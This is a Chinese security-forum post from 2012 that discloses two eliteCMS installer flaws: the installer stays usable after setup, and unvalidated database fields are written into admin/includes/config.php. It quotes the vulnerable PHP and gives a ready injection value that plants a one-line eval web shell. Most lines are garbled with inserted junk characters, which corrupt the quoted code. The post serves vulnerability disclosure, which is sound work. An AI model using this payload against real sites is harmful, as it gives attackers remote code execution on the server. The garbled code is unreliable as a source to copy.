找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2307|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
; o/ Z; U2 e  ^4 a9 q( M
: f# J8 [2 B+ V另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
7 _4 G8 w+ J( n8 u/ `8 z我们来看代码:0 E! E9 y; q- z; n
6 R# u- [) _( E9 N# E5 k
...% _, S( X; K5 w" F& e; g& t
elseif ($_GET['step'] == "4") {
( g4 X! I# `4 Z+ ?  ^+ N    $file = "../admin/includes/config.php";6 I. o; y* |7 R8 V) e9 A
    $write = "<?php\n";
1 v( _  d3 z, u3 I9 P( |2 B    $write .= "/**\n";
; U5 Q  A4 x6 x4 ^* J! d' [& l    $write .= "*\n";* t8 l$ _4 T2 S6 {* Z3 i& H
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
- V  U7 W  K" `8 X...略...
4 h* K3 h/ B0 ?- Q& Y  f1 b    $write .= "*\n";! J- ]" R6 [! }0 M) G( ^2 f& Q$ N
    $write .= "*/\n";6 d! d5 T- W' M, V' @. X
    $write .= "\n";
5 `: h# `9 ?$ c, S% O8 V% N    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
4 @, E7 ~/ P) Z. k    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
! U7 w7 T2 ?, ]! f7 j9 v8 W    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
6 v- {( v) x+ k  R6 R    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";+ J" m% A0 u1 I; Q. Q( C# w# f
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";: T! {5 s2 I- `' {) [
    $write .= "if (!\$connection) {\n";
7 f" k- [, b' ]/ v. ~    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
' T5 P, U; p; u4 p; K    $write .= "        \n";: s+ V5 i1 O2 l
    $write .= "} \n";
. }+ b! p1 E6 `: G0 c    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";. ]2 o% S8 A8 y% T+ Q
    $write .= "if (!\$db_select) {\n";
6 d" A5 a  ?2 T- a- f+ g, F, V1 F    $write .= "        die(\"Database select failed\" .mysql_error());\n";+ h. y! s: q- V+ [9 j) f: M
    $write .= "        \n";  [. I. k6 k8 K4 r, g
    $write .= "} \n";8 L) x. i# c: B
    $write .= "?>\n";3 x( R, a& V( W$ m, ^$ Z0 Y

' M; y9 C+ B; g    $writer = fopen($file, 'w');; f4 l- b( ~4 p. @5 [8 g2 W. p& J
...& X+ Y" d1 c- Z$ H

/ l9 j: k* @8 a3 ?) Q3 _! X: Q9 q在看代码:7 x8 q7 r8 m6 K( r$ r9 d9 \

, g7 l- W. f9 d3 H9 E$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];, ?$ [" x/ {' H6 o5 S0 z6 o! E3 ]3 d
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];" r8 q- Z% m" N5 l+ b5 `
$_SESSION['DB_USER'] = $_POST['DB_USER'];
: K3 V* I& C. S; v. u! R$_SESSION['DB_PASS'] = $_POST['DB_PASS'];, i: N% P( |# x. {

* ]3 O& @& I  i) O* C2 @9 a取值未作任何验证
) P4 `+ |( j+ C& K, f- R; `如果将数据库名POST数据:
- j$ I! x: H$ ?2 D) x 8 e# c5 e& s) w- m: X
"?><?php eval($_POST[c]);?><?php3 K4 F) ?- B3 b3 J9 s
$ @4 X' F9 e8 p
将导致一句话后门写入/admin/includes/config.php
0 x6 d% V2 T1 m0 F/ {0 l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表